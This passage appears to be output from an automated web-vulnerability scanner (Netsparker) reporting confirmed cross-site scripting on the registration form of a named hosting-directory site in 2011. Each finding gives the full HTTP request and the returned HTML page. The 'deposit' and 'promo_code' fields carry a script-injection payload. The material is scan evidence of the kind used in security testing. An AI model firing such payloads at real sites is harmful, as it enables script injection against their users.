e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST '"--></style></script><script>alert(0x001E69)</script>
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 561
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=3&province=3&zip=3&country=225&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001E69)%3c%2fscript%3e&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:39:09 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='2DFD5761645828D636E351B7C730F5B3C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='2DFD5761645828D60A02D7804F2143FD6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='2DFD5761645828D663BC15778A64EDC2C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='2DFD5761645828D6C3227D66A868349DC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='2DFD5761645828D66FBB07600F0ACFDB6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='2DFD5761645828D66BBB1B5B9A332E1CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='2DFD5761645828D6CF5DFCB4D6408D1CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='2DFD5761645828D6BD0F647A963E087C6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='2DFD5761645828D627D6D9F4FEC2E725C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='2DFD5761645828D656BC97BBD50054EF6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='2DFD5761645828D679319E351BBDA92BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='2DFD5761645828D6E76F9D64ECDE5580C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='2DFD5761645828D6A3528CBD6B228C82C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='2DFD5761645828D6D314F21FD75C9A00C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='2DFD5761645828D62317557903CBFCB6C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='2DFD5761645828D6A10958FDC418F05FC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='2DFD5761645828D6B557E03D0E69EE0B6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='2DFD5761645828D6A2CB9B9C22CC2E7E6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='2DFD5761645828D65141AE2D86AA09356F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST '"--></style></script><script>alert(0x001E6A)</script>
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 561
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=3&province=3&zip=3&country=225&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001E6A)%3c%2fscript%3e&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:39:12 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='2DFD5761645828D6CE74F460947B31D6C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='2DFD5761645828D6FEC27D16BB4413076F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='2DFD5761645828D61F4B14D3FF49CD55C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='2DFD5761645828D6AE90F0627E070188C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='2DFD5761645828D6B122FF71CF03FB3C6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='2DFD5761645828D6B2321D272A2F09CBC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='2DFD5761645828D6250F91A63ACFAA1AC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='2DFD5761645828D65E39EF44A02EBCD46F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='2DFD5761645828D653DEAD80456A3DC9C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='2DFD5761645828D6CCF0C23832F881EC6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='2DFD5761645828D6160FDBBFD85486ACC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='2DFD5761645828D67DC3A9501319989EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='2DFD5761645828D682BA6BCC4F827E97C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='2DFD5761645828D6F68A5FFA886EBF8DC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='2DFD5761645828D650372E7016BFB658C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='2DFD5761645828D687F0482BA0440F5BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='2DFD5761645828D687413FE2071809846F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='2DFD5761645828D659E5AFF71BCC34636F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='2DFD5761645828D660C74C429EBDCD3B6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
